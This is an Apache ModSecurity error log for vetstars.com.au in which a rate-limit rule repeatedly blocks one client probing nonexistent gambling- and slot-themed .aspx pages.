[Thu Apr 16 01:01:46.414210 2026] [:error] [pid 30957:tid 31006] [client 67.144.16.170:57660] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ad_Een5gwVEVXHfVSirbTAAAAFE"]
[Thu Apr 16 01:01:47.328205 2026] [:error] [pid 16664:tid 16732] [client 67.144.16.170:57667] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ad_Eezdzt684awDJwRTa-QAAAY0"]
[Thu Apr 16 01:01:50.015331 2026] [:error] [pid 37370:tid 37382] [client 67.144.16.170:57682] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ad_Efng-gnM2Ga0cGADBfAAAAQo"]
[Thu Apr 16 01:01:50.928141 2026] [:error] [pid 30957:tid 30991] [client 67.144.16.170:57688] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ad_Efn5gwVEVXHfVSirbVQAAAEI"]
[Thu Apr 16 01:01:53.373117 2026] [:error] [pid 31053:tid 31073] [client 67.144.16.170:57707] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ad_EgRcEkLCmvF0fjDeCSgAAAJE"]
[Thu Apr 16 01:01:54.284971 2026] [:error] [pid 16664:tid 16742] [client 67.144.16.170:57709] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ad_Egjdzt684awDJwRTbLwAAAZc"]
[Thu Apr 16 01:01:57.028219 2026] [:error] [pid 37370:tid 37393] [client 67.144.16.170:57724] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ad_EhXg-gnM2Ga0cGADBmgAAARU"]
[Thu Apr 16 01:01:57.941542 2026] [:error] [pid 16664:tid 16742] [client 67.144.16.170:57730] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ad_EhTdzt684awDJwRTbRwAAAZc"]
[Thu Apr 16 01:02:00.520507 2026] [:error] [pid 16664:tid 16719] [client 67.144.16.170:57744] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ad_EiDdzt684awDJwRTbVwAAAYA"]
[Thu Apr 16 01:02:01.434380 2026] [:error] [pid 30956:tid 30966] [client 67.144.16.170:57750] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ad_EiUBGUpjaWntNYq235wAAAAY"]
[Thu Apr 16 01:02:04.096075 2026] [:error] [pid 16664:tid 16741] [client 67.144.16.170:57768] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ad_EjDdzt684awDJwRTbbgAAAZY"]
[Thu Apr 16 01:02:05.008366 2026] [:error] [pid 16664:tid 16731] [client 67.144.16.170:57776] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ad_EjTdzt684awDJwRTbewAAAYw"]
[Thu Apr 16 01:02:08.379676 2026] [:error] [pid 30958:tid 31031] [client 67.144.16.170:57791] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ad_EkMeG3wSKTO7NWFEL4AAAAM8"]
[Thu Apr 16 01:02:09.294087 2026] [:error] [pid 30958:tid 31026] [client 67.144.16.170:57800] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ad_EkceG3wSKTO7NWFEL6wAAAMo"]
[Thu Apr 16 01:02:11.805849 2026] [:error] [pid 16664:tid 16723] [client 67.144.16.170:57809] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ad_Ekzdzt684awDJwRTbnwAAAYQ"]
[Thu Apr 16 01:02:12.719185 2026] [:error] [pid 30958:tid 31024] [client 67.144.16.170:57813] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ad_ElMeG3wSKTO7NWFEL9gAAAMg"]
[Thu Apr 16 01:02:15.383937 2026] [:error] [pid 31053:tid 31063] [client 67.144.16.170:57830] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ad_ElxcEkLCmvF0fjDeCbgAAAIc"]
[Thu Apr 16 01:02:16.296728 2026] [:error] [pid 30956:tid 30981] [client 67.144.16.170:57833] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ad_EmEBGUpjaWntNYq238AAAABU"]
[Thu Apr 16 01:03:13.444874 2026] [:error] [pid 23913:tid 23935] [client 67.144.16.170:58112] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ad_E0VUaK3MLdSaLOygOPgAAAVQ"]
[Thu Apr 16 01:03:14.356847 2026] [:error] [pid 23913:tid 23918] [client 67.144.16.170:58115] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ad_E0lUaK3MLdSaLOygORAAAAUM"]
[Thu Apr 16 01:03:16.923592 2026] [:error] [pid 23913:tid 23919] [client 67.144.16.170:58136] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ad_E1FUaK3MLdSaLOygOUAAAAUQ"]
[Thu Apr 16 01:03:17.835817 2026] [:error] [pid 23913:tid 23923] [client 67.144.16.170:58141] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ad_E1VUaK3MLdSaLOygOWQAAAUg"]
[Thu Apr 16 01:03:20.474315 2026] [:error] [pid 30958:tid 31026] [client 67.144.16.170:58151] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ad_E2MeG3wSKTO7NWFENAQAAAMo"]
[Thu Apr 16 01:03:21.385954 2026] [:error] [pid 16664:tid 16735] [client 67.144.16.170:58156] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ad_E2Tdzt684awDJwRTcvwAAAZA"]
[Thu Apr 16 01:03:23.958106 2026] [:error] [pid 37370:tid 37387] [client 67.144.16.170:58166] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ad_E23g-gnM2Ga0cGADBzQAAAQ8"]
[Thu Apr 16 01:03:24.873438 2026] [:error] [pid 16664:tid 16726] [client 67.144.16.170:58170] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ad_E3Ddzt684awDJwRTczwAAAYc"]
[Thu Apr 16 01:03:27.525992 2026] [:error] [pid 23913:tid 23928] [client 67.144.16.170:58183] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ad_E31UaK3MLdSaLOygOfAAAAU0"]
[Thu Apr 16 01:03:28.438660 2026] [:error] [pid 30958:tid 31032] [client 67.144.16.170:58186] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ad_E4MeG3wSKTO7NWFENHAAAANA"]
[Thu Apr 16 01:03:31.022078 2026] [:error] [pid 30958:tid 31026] [client 67.144.16.170:58198] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ad_E48eG3wSKTO7NWFENKwAAAMo"]
[Thu Apr 16 01:03:31.934911 2026] [:error] [pid 30957:tid 31002] [client 67.144.16.170:58204] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ad_E435gwVEVXHfVSirbvwAAAE0"]
[Thu Apr 16 01:03:34.515034 2026] [:error] [pid 30958:tid 31032] [client 67.144.16.170:58216] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ad_E5seG3wSKTO7NWFENPwAAANA"]
[Thu Apr 16 01:03:35.427723 2026] [:error] [pid 23913:tid 23938] [client 67.144.16.170:58220] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ad_E51UaK3MLdSaLOygOkQAAAVc"]
[Thu Apr 16 01:03:38.035565 2026] [:error] [pid 30956:tid 30979] [client 67.144.16.170:58233] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad_E6kBGUpjaWntNYq24TQAAABM"]
[Thu Apr 16 01:03:38.947776 2026] [:error] [pid 30958:tid 31021] [client 67.144.16.170:58237] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad_E6seG3wSKTO7NWFENUgAAAMU"]
[Thu Apr 16 01:03:41.487561 2026] [:error] [pid 23913:tid 23918] [client 67.144.16.170:58249] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ad_E7VUaK3MLdSaLOygOngAAAUM"]
[Thu Apr 16 01:03:42.400408 2026] [:error] [pid 23913:tid 23928] [client 67.144.16.170:58255] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ad_E7lUaK3MLdSaLOygOpgAAAU0"]
[Thu Apr 16 01:03:45.081414 2026] [:error] [pid 16664:tid 16723] [client 67.144.16.170:58268] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ad_E8Tdzt684awDJwRTc-AAAAYQ"]
[Thu Apr 16 01:03:45.999303 2026] [:error] [pid 30957:tid 31007] [client 67.144.16.170:58273] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ad_E8X5gwVEVXHfVSirbwwAAAFI"]
[Thu Apr 16 01:03:48.632952 2026] [:error] [pid 30958:tid 31040] [client 67.144.16.170:58282] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ad_E9MeG3wSKTO7NWFENcAAAANg"]
[Thu Apr 16 01:03:49.546507 2026] [:error] [pid 30958:tid 31019] [client 67.144.16.170:58285] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ad_E9ceG3wSKTO7NWFENeAAAAMM"]
[Thu Apr 16 01:03:52.091884 2026] [:error] [pid 30956:tid 30971] [client 67.144.16.170:58298] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ad_E-EBGUpjaWntNYq24VQAAAAs"]
[Thu Apr 16 01:03:53.003220 2026] [:error] [pid 37370:tid 37379] [client 67.144.16.170:58301] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ad_E-Xg-gnM2Ga0cGADB5wAAAQc"]
[Thu Apr 16 01:03:55.673313 2026] [:error] [pid 16664:tid 16743] [client 67.144.16.170:58322] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad_E-zdzt684awDJwRTdEgAAAZg"]
[Thu Apr 16 01:03:56.587027 2026] [:error] [pid 37370:tid 37381] [client 67.144.16.170:58331] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad_E_Hg-gnM2Ga0cGADB7wAAAQk"]
[Thu Apr 16 01:03:59.120514 2026] [:error] [pid 30957:tid 31003] [client 67.144.16.170:58350] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad_E_35gwVEVXHfVSirb0gAAAE4"]
[Thu Apr 16 01:04:00.039208 2026] [:error] [pid 23913:tid 23931] [client 67.144.16.170:58357] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad_FAFUaK3MLdSaLOygO1wAAAVA"]
[Thu Apr 16 01:04:02.681967 2026] [:error] [pid 23913:tid 23927] [client 67.144.16.170:58380] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad_FAlUaK3MLdSaLOygO4AAAAUw"]
[Thu Apr 16 01:04:03.596584 2026] [:error] [pid 30958:tid 31017] [client 67.144.16.170:58387] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad_FA8eG3wSKTO7NWFENqwAAAME"]
[Thu Apr 16 01:04:06.026266 2026] [:error] [pid 16664:tid 16730] [client 67.144.16.170:58405] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad_FBjdzt684awDJwRTdLQAAAYs"]
[Thu Apr 16 01:04:06.939086 2026] [:error] [pid 23913:tid 23936] [client 67.144.16.170:58414] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad_FBlUaK3MLdSaLOygO7AAAAVU"]
[Thu Apr 16 01:05:02.773951 2026] [:error] [pid 30958:tid 31033] [client 67.144.16.170:58774] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad_FPseG3wSKTO7NWFEO1AAAANE"]
[Thu Apr 16 01:05:03.687973 2026] [:error] [pid 30958:tid 31017] [client 67.144.16.170:58779] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad_FP8eG3wSKTO7NWFEO2gAAAME"]
[Thu Apr 16 01:05:05.998970 2026] [:error] [pid 16664:tid 16725] [client 67.144.16.170:58788] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ad_FQTdzt684awDJwRTdvgAAAYY"]
[Thu Apr 16 01:05:06.943645 2026] [:error] [pid 31053:tid 31057] [client 67.144.16.170:58792] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ad_FQhcEkLCmvF0fjDeDYQAAAIE"]
[Thu Apr 16 01:05:09.425662 2026] [:error] [pid 31053:tid 31074] [client 67.144.16.170:58801] [client 67.144.16.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ad_FRRcEkLCmvF0fjDeDZAAAAJI"]
